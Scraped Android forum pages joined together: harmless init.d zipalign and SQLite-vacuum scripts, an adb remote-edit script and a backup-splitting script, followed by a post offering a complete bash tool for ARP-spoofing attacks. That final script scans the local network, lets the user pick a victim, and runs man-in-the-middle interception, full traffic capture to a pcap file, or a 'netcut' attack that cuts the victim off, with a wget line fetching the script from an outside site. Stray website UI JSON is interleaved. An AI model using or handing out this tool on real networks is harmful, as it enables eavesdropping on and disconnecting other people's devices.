if [ $INTERVAL -gt $RUN_EVERY ];
then[/COLOR]
[COLOR="Green"] if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for apk in /data/app/*.apk ; do
zipalign -c 4 $apk;
ZIPCHECK=$?;
if [ $ZIPCHECK -eq 1 ]; then
echo ZipAligning $(basename $apk) | tee -a $LOG_FILE;
zipalign -f 4 $apk /cache/$(basename $apk);
if [ -e /cache/$(basename $apk) ]; then
cp -f -p /cache/$(basename $apk) $apk | tee -a $LOG_FILE;
rm /cache/$(basename $apk);
else
echo ZipAligning $(basename $apk) Failed | tee -a $LOG_FILE;
fi;
else
echo ZipAlign already completed on $apk | tee -a $LOG_FILE;
fi;
done;
echo "Automatic ZipAlign finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;[/color]
[COLOR="DarkRed"]fi[/COLOR]
SQLite3 vacuum:
Code:
#!/system/bin/sh
# ========================================
# init.d script for McByte jkSGS3
# ========================================
# SQLite database vaccum
# Frequent inserts, updates, and deletes can cause the database file to become fragmented - where data for a single table or index is scattered around the database file.
# Running VACUUM ensures that each table and index is largely stored contiguously within the database file.
# In some cases, VACUUM may also reduce the number of partially filled pages in the database, reducing the size of the database file further.
# sqlite3 binary in /system/xbin is required!
# Changelog
# v1.0 - (??/??/????) - original version
# v1.1 - (06/01/2013) - run only every X seconds, default = 1 week (mcbyte_it)
#
[COLOR="DarkRed"]# Log file location
LOG_FILE=/data/sqlite.log
#Interval between SQLite3 runs, in seconds, 604800=1 week
RUN_EVERY=604800
# Get the last modify date of the Log file, if the file does not exist, set value to 0
if [ -e $LOG_FILE ]; then
LASTRUN=`stat -t $LOG_FILE | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then[/COLOR]
[COLOR="Green"]if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "SQLite database VACUUM and REINDEX started at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for i in `busybox find /d* -iname "*.db"`; do
/system/xbin/sqlite3 $i 'VACUUM;';
resVac=$?
if [ $resVac == 0 ]; then
resVac="SUCCESS";
else
resVac="ERRCODE-$resVac";
fi;
/system/xbin/sqlite3 $i 'REINDEX;';
resIndex=$?
if [ $resIndex == 0 ]; then
resIndex="SUCCESS";
else
resIndex="ERRCODE-$resIndex";
fi;
echo "Database $i: VACUUM=$resVac REINDEX=$resIndex" | tee -a $LOG_FILE;
done
echo "SQLite database VACUUM and REINDEX finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;[/COLOR]
[COLOR="DarkRed"]fi;[/COLOR]
Click to expand...
Click to collapse
Thanks for this awesome script i was able to get an idea for this. I tried this two scripts but only zipalign works even though i have sqlite3 in stored in xbin.
mcbyte_it said:
There are many ROMs that include the ZipAlign or SQLite3 vacuum on boot, but these command are not really needed to run on EVERY boot, once every few days can be enough, so I came out with this script.
To run it, you need to have busybox with the stat applet (should be there always), which gives information about a file, including last modification date.
This is done is by checking the last modification date on a file, which is touched or changed only when the main script is executed.
Currently I modified the ZipAlign and SQLite vacuum in my own rom to use this technique, and they seem to work fine. The monitored file is the log of the operation done, which is stored in the /data/ directory
ZipAlign on Boot:
Code:
#!/system/bin/sh
# Automatic ZipAlign by Wes Garner
# ZipAlign files in /data that have not been previously ZipAligned (using md5sum)
# Thanks to oknowton for the changes
# Changelog:
# 1.0 (11/30/09) Original
# 1.1 (12/01/09) Switched to zipalign -c 4 to check the apk instead of MD5 (oknowton)
# 1.2 (06/01/13) Run the main script only once every N days (default 7 days, 1 week) (mcbyte_it)
[COLOR="DarkRed"]LOG_FILE=/data/zipalign.log
#Interval between ZipAlign runs, in seconds, 604800=1 week
RUN_EVERY=604800
# Get the last modify date of the Log file, if the file does not exist, set value to 0
if [ -e $LOG_FILE ]; then
LASTRUN=`stat -t $LOG_FILE | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then[/COLOR]
[COLOR="Green"]if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for apk in /data/app/*.apk ; do
zipalign -c 4 $apk;
ZIPCHECK=$?;
if [ $ZIPCHECK -eq 1 ]; then
echo ZipAligning $(basename $apk) | tee -a $LOG_FILE;
zipalign -f 4 $apk /cache/$(basename $apk);
if [ -e /cache/$(basename $apk) ]; then
cp -f -p /cache/$(basename $apk) $apk | tee -a $LOG_FILE;
rm /cache/$(basename $apk);
else
echo ZipAligning $(basename $apk) Failed | tee -a $LOG_FILE;
fi;
else
echo ZipAlign already completed on $apk | tee -a $LOG_FILE;
fi;
done;
echo "Automatic ZipAlign finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;[/color]
[COLOR="DarkRed"]fi[/COLOR]
SQLite3 vacuum:
Code:
#!/system/bin/sh
# ========================================
# init.d script for McByte jkSGS3
# ========================================
# SQLite database vaccum
# Frequent inserts, updates, and deletes can cause the database file to become fragmented - where data for a single table or index is scattered around the database file.
# Running VACUUM ensures that each table and index is largely stored contiguously within the database file.
# In some cases, VACUUM may also reduce the number of partially filled pages in the database, reducing the size of the database file further.
# sqlite3 binary in /system/xbin is required!
# Changelog
# v1.0 - (??/??/????) - original version
# v1.1 - (06/01/2013) - run only every X seconds, default = 1 week (mcbyte_it)
#
[COLOR="DarkRed"]# Log file location
LOG_FILE=/data/sqlite.log
#Interval between SQLite3 runs, in seconds, 604800=1 week
RUN_EVERY=604800
# Get the last modify date of the Log file, if the file does not exist, set value to 0
if [ -e $LOG_FILE ]; then
LASTRUN=`stat -t $LOG_FILE | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then[/COLOR]
[COLOR="Green"]if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "SQLite database VACUUM and REINDEX started at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for i in `busybox find /d* -iname "*.db"`; do
/system/xbin/sqlite3 $i 'VACUUM;';
resVac=$?
if [ $resVac == 0 ]; then
resVac="SUCCESS";
else
resVac="ERRCODE-$resVac";
fi;
/system/xbin/sqlite3 $i 'REINDEX;';
resIndex=$?
if [ $resIndex == 0 ]; then
resIndex="SUCCESS";
else
resIndex="ERRCODE-$resIndex";
fi;
echo "Database $i: VACUUM=$resVac REINDEX=$resIndex" | tee -a $LOG_FILE;
done
echo "SQLite database VACUUM and REINDEX finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;[/COLOR]
[COLOR="DarkRed"]fi;[/COLOR]
Click to expand...
Click to collapse
Hi guys! I recently installed lollipop touch wiz and installed the two scripts on the Op, managed to get the sql script to work fine but when the zip align tries to run it errors out in the log, any advice to what I've done wrong or if you guys know of a change in lollipop that doesn't play nice with zip aligning?
Starting Automatic ZipAlign 06-04-2014 15:23:01
ZipAligning *.apk
ZipAligning *.apk Failed
Automatic ZipAlign finished at 06-04-2014 15:23:01
Click to expand...
Click to collapse
All I've done as far as modify the script is I got rid of the color tags.
Also the sql log shows the correct date as well, where this script does not.
Thank you in advance guys!
Any chance to make this flasheable thx!
how to make an specific init.d script runs every x minutes?
and when unlock the screen

[Script]RemEdit (Edit files from phone in native text editor)

I made this script just now to have the ability to edit files from the phone, opened directly in your default text editor on your pc, when saving the file and pressing enter in the script the file will be pushed back to your phone and sets it to the right permission. Just some handy little script which becomes very useful when you want to test out scripts on your phone
the platform-tools path of android sdk must be accessible globally for adb.
.bashrc
Code:
export PATH=${PATH}:~/android-sdk/platform-tools
#!/bin/bash
Code:
#Edit files on your phone like editing local files
#Copyright 2013 broodplank.net
#Revision 3
if [[ $1 = "" ]]; then
echo "usage: remedit [remote path]"
echo " example: remedit /system/build.prop"
exit
else
DIR=${1%/*}
FILE=${1##*/}
fi;
if [[ -e mode ]]; then
rm -f mode
fi;
adb get-state > state
export DEVICESTATE=`cat state`;
rm -f state
if [[ ${DEVICESTATE} != 'device' ]]; then
echo "Waiting for device..."
echo "Make sure debugging mode is enabled"
adb 'wait-for-device'
echo "Device found"
fi;
adb -d shell ls -l ${1} | awk '{k=0;for(i=0;i<=8;i++)k+=((substr($1,i+2,1)~/[rwx]/) \
*2^(8-i));if(k)printf("%0o ",k);print}' > mode
if [[ -e modenew ]]; then
rm -f modenew
fi;
head -c 3 mode > modenew
export FILEMODE=`cat modenew`;
if [[ -e mode ]]; then
rm -f mode
fi;
if [[ -e modenew ]]; then
rm -f modenew
fi;
echo
echo "Remote Path: '${DIR}'"
echo "Remote File: '${FILE}'"
echo "Remote Mode: '${FILEMODE}'"
echo
cd ${PWD}
if [[ -e $FILE ]]; then
rm -f $FILE
fi;
adb pull $1 $FILE
xdg-open $FILE
echo
echo "Press enter when you're done editing the file"
read -p [enter]
echo
adb remount
adb push $FILE $1
adb -d shell busybox chmod ${FILEMODE} ${1}
echo
echo "Pushed new version of: ${FILE} located in: ${DIR} with mode: ${FILEMODE}"
if [[ -e $FILE ]]; then
rm -f $FILE
fi;
Output:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Hi brood
i'm not a great scripter, but one word to your script. I'm use Lubuntu and there is Leafpad the default Editor. I think it is unnecessary to install "gedit" if it is not installed. If you use in your script the line
Code:
xdg-open $FILE
instead of
Code:
gedit $FILE
the file will open with the default Editor of the DE.
Keep up your great work :good:
regards....busprofi
busprofi said:
Hi brood
i'm not a great scripter, but one word to your script. I'm use Lubuntu and there is Leafpad the default Editor. I think it is unnecessary to install "gedit" if it is not installed. If you use in your script the line
Code:
xdg-open $FILE
instead of
Code:
gedit $FILE
the file will open with the default Editor of the DE.
Keep up your great work :good:
regards....busprofi
Click to expand...
Click to collapse
Thanks. Im also not a great bash scripter. Thnx for the tip, will add it to the code as soon as im at my computer
edit: added it
New version, more compatibility, also shows the syntax and stops the script when no input is given

[SCRIPT] Helium server PC download - separation

This is simple linux script I've made to separate all apps from one big zip file made by Helium sever -> PC download. Helium wiki says to don't try to do anything with this file, but I didn't want to restore all that stuff that I've backuped before bootloader unlock on my nexus 4. I'm sure it can be writed better, but it's working
Just place script file and unziped backup folder (must be named "backup") in one directory. After execution of the script everything should be ready to copying to carbon folder on your sd card/internal memory and restoring like after normal backup.
Tested on Ubuntu 14.04.
I'm not responsible for data loss or any other problem. Use at your own risk.
Constructive criticism welcome.
Code:
#!/bin/bash
DIRECTORY='./backup'
if [ -f $DIRECTORY/backup.json ]; then
cp $DIRECTORY/backup.json $DIRECTORY/temp.json
sed -e "s/{\"packages\"://g" $DIRECTORY/temp.json > $DIRECTORY/temp2.json
tr '[]' ' ' < $DIRECTORY/temp2.json | tee $DIRECTORY/temp.json
tr '}' '\n' < $DIRECTORY/temp.json | tee $DIRECTORY/temp2.json
sed -e "s/,{/{/g" $DIRECTORY/temp2.json > $DIRECTORY/temp.json
sed -e 's/^[ \t]*//' $DIRECTORY/temp.json > $DIRECTORY/temp2.json
sed '/^$/d' $DIRECTORY/temp2.json > $DIRECTORY/temp.json
sed 's/\([^|]\)$/\1}/' $DIRECTORY/temp.json > $DIRECTORY/temp_last.json
fi;
count=`ls -1 $DIRECTORY/*.ab 2>/dev/null | wc -l`
if [ $count != 0 ]; then
for i in $DIRECTORY/*.ab ; do
AB=$(basename $i)
mkdir -p $DIRECTORY/${AB%.*}
mv -i $DIRECTORY/$AB $DIRECTORY/${AB%.*}/
if [ -f $DIRECTORY/${AB%.*}.png ]; then
mv -i $DIRECTORY/${AB%.*}.png $DIRECTORY/${AB%.*}/._${AB%.*}.png
fi;
if [ ! -f $DIRECTORY/${AB%.*}/${AB%.*}.json ];then
touch $DIRECTORY/${AB%.*}/${AB%.*}.json
fi;
while read p; do
if [[ "$p" =~ "${AB%.*}" ]]; then
echo "$p" > $DIRECTORY/${AB%.*}/${AB%.*}.json
fi;
done <$DIRECTORY/temp_last.json
done;
fi;
rm $DIRECTORY/temp.json
rm $DIRECTORY/temp2.json
rm $DIRECTORY/temp_last.json
exit;

[HOWTO] MITM ARPspoofing automatic script ARM/BASH

Hello everybody
Sorry by advance for my english, i'm french.
My main phone is broken so i have a old galaxy mini (android gingerbread ) for replacement... and i want to use this for some MiTM spoofing and information gathering but app play store are not compatible or buggy for me.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
The script work for me but maybe the method to get local IP/ IP GATEWAY will change for phone or android version
I post the script here maybe it way make idea for someone
So i use nmap ARM binary from nmap website ( nmap/nping ) to create a little script (182 lines) to automated MiTM it's very lightweight and easy to use.
Requirement
rooted phone
busybox
tcpdump
bash
Features
MiTM arp spoofing ( Restore original gateway mac after attack )
MiTM arp spoofing with tcpdump log data in pcap file ( Restore original gateway mac after attack )
Netcut replace mac gateway by another fake mac address
Installation binaries
Code:
mkdir -p /sdcard/opt
cd /sdcard/opt
#get binary from nmap website
wget "http://ftp.linux.hr/android/nmap/nmap-6.46-android-arm-bin.tar.bz2"
tar xvjf nmap-6.46-android-arm-bin.tar.bz2
#Installation to /system/xbin
cd nmap-6.46
mount -o remount,rw /system
cp -v bin/nmap /system/xbin
cp -v bin/nping /system/xbin
#Restore /system permission
mount -o ro,remount,ro /system
Tools mitm.bash
Copy the content below script to /sdcard/mitm.bash
And run bash /sdcard/mitm.bash and enjoy it
or copy from web with :
Code:
wget -q http://www.web-point-zero.fr/mitm.bash -O /sdcard/mitm.bash && (echo "All good run : bash /sdcard/mitm.bash" ) || (echo "Error to download file ")
Code:
#!/bin/bash
echo "*** Tools create by c0derz67 from forum.xda-developers.com ****";
echo -e "\n\n";
TMP_DIRECTORY="/sdcard/_nettools_$RANDOM"; # maybe change by our sdcard directory
MAIN_INTERFACE="wlan0" # change with your interface name
mkdir -p "$TMP_DIRECTORY" || (echo "Can't create $TMP_DIRECTORY";exit;);
cd $TMP_DIRECTORY || (echo "Can't chdir to $TMP_DIRECTORY";exit;);
trap "echo \"Bye bye :) remove $TMP_DIRECTORY\";rm -r $TMP_DIRECTORY;exit;" 0 1 2 3 15;
echo "[*] GET GATEWAY "
GATEWAY=$(ip route show | grep $MAIN_INTERFACE | grep -o -E "via.*dev" | cut -d ' ' -f2);
if [ $? -eq 0 ]; then
echo " -> GATEWAY IS $GATEWAY"
else
echo ERROR TO GET GATEWAY
exit;
fi
echo "[*] GET ADRESS "
MY_ADDRESS=$(ip route show | egrep -o "src .*"|cut -d ' ' -f2);
if [ $? -eq 0 ]; then
echo " -> MY_ADDRESS IS $GATEWAY"
else
echo ERROR TO GET GATEWAY
exit;
fi
echo "[*] Get Mac address : ";
MY_MAC=$(busybox ifconfig $MAIN_INTERFACE | grep -E -o "HWaddr .*"|cut -d ' ' -f2);
if [ -n "$MY_MAC" ]; then
echo " -> Mac address is : $MY_MAC"
else
echo "ENABLE TO GET mac ADDR"
exit;
fi;
GATEWAY_FIRST_PART_IP_1=$(echo $GATEWAY | cut -d '.' -f1);
GATEWAY_FIRST_PART_IP_2=$(echo $GATEWAY | cut -d '.' -f2);
GATEWAY_FIRST_PART_IP_3=$(echo $GATEWAY | cut -d '.' -f3);
GATEWAY_FIRST_PART_IP_4=$(echo $GATEWAY | cut -d '.' -f4);
MY_ADDRESS_FIRST_PART_IP_1=$(echo $MY_ADDRESS | cut -d '.' -f1);
MY_ADDRESS_FIRST_PART_IP_2=$(echo $MY_ADDRESS | cut -d '.' -f2);
MY_ADDRESS_FIRST_PART_IP_3=$(echo $MY_ADDRESS | cut -d '.' -f3);
MY_ADDRESS_FIRST_PART_IP_4=$(echo $MY_ADDRESS | cut -d '.' -f4);
SCAN_IP_RANGE="$MY_ADDRESS_FIRST_PART_IP_1.$MY_ADDRESS_FIRST_PART_IP_2.$MY_ADDRESS_FIRST_PART_IP_3.1-255";
echo "[*] Scan : $SCAN_IP_RANGE "
nmap -n -v -sP "$SCAN_IP_RANGE" | grep -v down
echo -e "\n\n"
echo "[*] DEVICE(S) connected to network : ";
echo -e "\n";
mkdir ip || (echo "Can't create IP";exit);
GATEWAY_MAC="";
counter=0;
arp -n -a | grep -v incomplete > ARP_RESULT.txt
already_set=0;
while((1));
do
i=0;
while read line;do
i=$(($i+1));
THIS_IP=$(echo $line | egrep -o "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" );
THIS_MAC=$(echo $line | egrep -o ".{2}:.{2}:.{2}:.{2}:.{2}:.{2}" )
if [ "$THIS_IP" = "$GATEWAY" ];then
GATEWAY_MAC=$THIS_MAC;
fi;
#echo "[$i] CURRENT MAC : $THIS_MAC ";
#echo "[$i] CURRENT IP : $THIS_IP"
echo "$i ) $THIS_IP ( $THIS_MAC ) "
if [ "$already_set" -eq 0 ]; then
mkdir $i;
echo $THIS_MAC > $i/MAC
echo $THIS_IP > $i/IP
fi;
done < ARP_RESULT.txt;
already_set=1;
echo -e "\n"
read -n 1 -p "[*] Select target ( 1-$i ) : " number_victim;
echo "";
if [ ! -d $number_victim ];then
echo "$number_victim is not a good target";
continue;
fi
TARGET_MAC=$(cat $number_victim/MAC );
TARGET_IP=$(cat $number_victim/IP );
echo -e "\n\n"
echo "[*] Select attack : ";
echo -e "\n"
echo "1) Arp Spoofing MITM (Catch and Redirect trafic to gateway) ";
echo "2) MITM and dump all trafic to /sdcard/dump.pcap (required tcpdump)";
echo "3) Netcut Arp Spoofing replace gateway mac to invalid mac ";
echo -e "\n"
read -n 1 -p "[*] Attack type : " number_attack;
case $number_attack in
1)
clear
echo "[*] Start 1) Arp Spoofing MITM (Catch and Redirect trafic to gateway)";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $MY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 99999 &
read -n 1
GET_PID=$!
echo -e "\n\n";
echo "********* STOP ATTACK *********";
kill -9 $GET_PID;
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
2)
clear
echo "[*] Start 2) MITM and dump all trafic to /sdcard/dump.pcap (required tcpdump)";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $MY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 99999 >log_nping.txt &
PID_nping=$!
sleep 5s;
echo "Let's see what nping say log_nping.txt : "
echo -e "\n\n";
cat log_nping.txt
echo -e "\n\n";
echo "[*] Arp spoofing (nping) running in background see $TMP_DIRECTORY/log_nping.txt for detail"
echo "[*] Running tcpdump exclude $MY_ADDRESS packet";
tcpdump -i $MAIN_INTERFACE -s0 -v -w /sdcard/dump.pcap &
PID_tcpdump=$!
read -n 1
echo "********* STOP ATTACK *********";
echo "[*] kill tcpdump"
kill $PID_tcpdump;
echo "[*] kill nping"
kill $PID_nping
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
3)
clear
echo "[*] Start 3) Netcut Arp Spoofing replace gateway mac to invalid mac";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac cc:cc:cc:cc:cc:cc --dest-mac $TARGET_MAC $TARGET_IP -c 99999 &
PID_nping=$!
read -n 1
echo "********* STOP ATTACK *********";
echo "[*] kill tcpdump"
kill $PID_tcpdump;
echo "[*] kill nping"
kill $PID_nping
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
esac
done;
done;
#ARP POISOING help
#nping --arp --arp-type ARP-reply --arp-sender-ip (GATEWAY IP) --arp-sender-mac (ATTACKER IP ) --dest-mac (MAC VICTIME) (IP VICTIM) -c 999999

Categories

Resources